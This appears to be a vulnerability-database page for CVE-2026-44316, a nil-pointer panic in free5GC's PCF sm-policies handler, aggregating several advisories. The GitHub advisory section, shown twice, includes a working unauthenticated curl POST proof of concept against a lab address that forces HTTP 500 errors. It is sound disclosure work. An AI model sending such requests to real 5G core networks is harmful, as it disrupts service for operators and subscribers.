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CVE-2026-44316

free5GC: PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference

7.5 HighFix available

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In 4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware. This vulnerability is fixed in 4.2.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.40%Up 0.4 points since May 28, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

free5GC: PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In 4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware. This vulnerability is fixed in 4.2.2.

Record
CVE-2026-44316
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476, CWE-754
Updated
2026-11-02
EUVDEUVD-2026-32552 7.5

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In 4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware. This vulnerability is fixed in 4.2.2.

Record
EUVD-2026-32552
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-wr8j-6chw-gm6p 7.5

free5GC's PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference

Summary

free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.

The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.

Details

Validated against the PCF container in the official Docker compose lab.

  • free5GC version: v4.1.0 (originally reported on v4.1.0; same defect present in v4.2.1)
  • PCF endpoint: http://10.100.200.9:8000

Vulnerable handler path (paraphrased from the captured stack trace):

[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
  github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest
      /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562
  github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy
      /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405

The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.

Code evidence (paths in free5gc/pcf):

  • Panic site:
    • NFs/pcf/internal/sbi/processor/smpolicy.go:82
  • Route dispatch:
    • NFs/pcf/internal/sbi/api_smpolicy.go:86

PoC

Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

Send a single POST whose dnn is unknown to UDR -- this drives the downstream OpenAPI call to return 404 Not Found, which then triggers the nil-deref panic:

curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \
  -H 'Content-Type: application/json' \
  -d '{
    "supi":"imsi-208930000000003",
    "pduSessionId":1,
    "dnn":"internet-bad",
    "sliceInfo":{"sst":1,"sd":"010203"},
    "servingNetwork":{"mcc":"208","mnc":"93"},
    "accessType":"3GPP_ACCESS",
    "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify"
  }'

Observed response: HTTP 500 Internal Server Error with empty body.

PCF container logs show:

[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
  ...HandleCreateSmPolicyRequest at smpolicy.go:82...

The Gin recovery middleware catches the panic (the captured stack trace runs inside ginRecover.func2.1), so the PCF process keeps serving other requests; the realized impact is per-request HTTP 500 on this endpoint whenever the downstream lookup fails.

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled 4xx/5xx ProblemDetails and stop processing.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a 404 returns HTTP 500 (with empty body and a stack trace in PCF logs) instead of a…

Record
GHSA-wr8j-6chw-gm6p
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476, CWE-754
Updated
2026-11-02
NVD 7.5

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In 4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware. This vulnerability is fixed in 4.2.2.

Record
CVE-2026-44316
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476, CWE-754
Updated
2026-11-02
OSV 7.5

free5GC: PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In 4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware. This vulnerability is fixed in 4.2.2.

Record
CVE-2026-44316
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476, CWE-754
Updated
2026-11-02
OSVGHSA-wr8j-6chw-gm6p 7.5

free5GC's PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference

Summary

free5GC's PCF POST /npcf-smpolicycontrol/v1/sm-policies handler (HandleCreateSmPolicyRequest) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns 404 Not Found and the consumer wrapper returns err != nil together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into HTTP 500, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running.

The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an Authorization header because the PCF Npcf_SMPolicyControl route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated.

Details

Validated against the PCF container in the official Docker compose lab.

  • free5GC version: v4.1.0 (originally reported on v4.1.0; same defect present in v4.2.1)
  • PCF endpoint: http://10.100.200.9:8000

Vulnerable handler path (paraphrased from the captured stack trace):

[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
  github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest
      /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562
  github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy
      /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405

The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct.

Code evidence (paths in free5gc/pcf):

  • Panic site:
    • NFs/pcf/internal/sbi/processor/smpolicy.go:82
  • Route dispatch:
    • NFs/pcf/internal/sbi/api_smpolicy.go:86

PoC

Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

Send a single POST whose dnn is unknown to UDR -- this drives the downstream OpenAPI call to return 404 Not Found, which then triggers the nil-deref panic:

curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \
  -H 'Content-Type: application/json' \
  -d '{
    "supi":"imsi-208930000000003",
    "pduSessionId":1,
    "dnn":"internet-bad",
    "sliceInfo":{"sst":1,"sd":"010203"},
    "servingNetwork":{"mcc":"208","mnc":"93"},
    "accessType":"3GPP_ACCESS",
    "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify"
  }'

Observed response: HTTP 500 Internal Server Error with empty body.

PCF container logs show:

[INFO][PCF][SMpolicy] Handle CreateSmPolicy
[ERRO][PCF][Consumer] openapi error: 404, Not Found
[ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
  ...HandleCreateSmPolicyRequest at smpolicy.go:82...

The Gin recovery middleware catches the panic (the captured stack trace runs inside ginRecover.func2.1), so the PCF process keeps serving other requests; the realized impact is per-request HTTP 500 on this endpoint whenever the downstream lookup fails.

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled 4xx/5xx ProblemDetails and stop processing.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a 404 returns HTTP 500 (with empty body and a stack trace in PCF logs) instead of a…

Record
GHSA-wr8j-6chw-gm6p
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-476, CWE-754
Updated
2026-11-02
OSVGO-2026-5720 No score

free5GC's PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference in github.com/free5gc/pcf

free5GC's PCF npcf-smpolicycontrol POST /sm-policies panics on downstream UDR/OpenAPI 404 via nil pointer dereference in github.com/free5gc/pcf

Record
GO-2026-5720
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/free5gc/pcf
Go
 before 1.4.2
1.4.2
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44316 is a high vulnerability (CVSS 7.5) in Free5gc, published May 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in github.com/free5gc/pcf 1.4.2.

References

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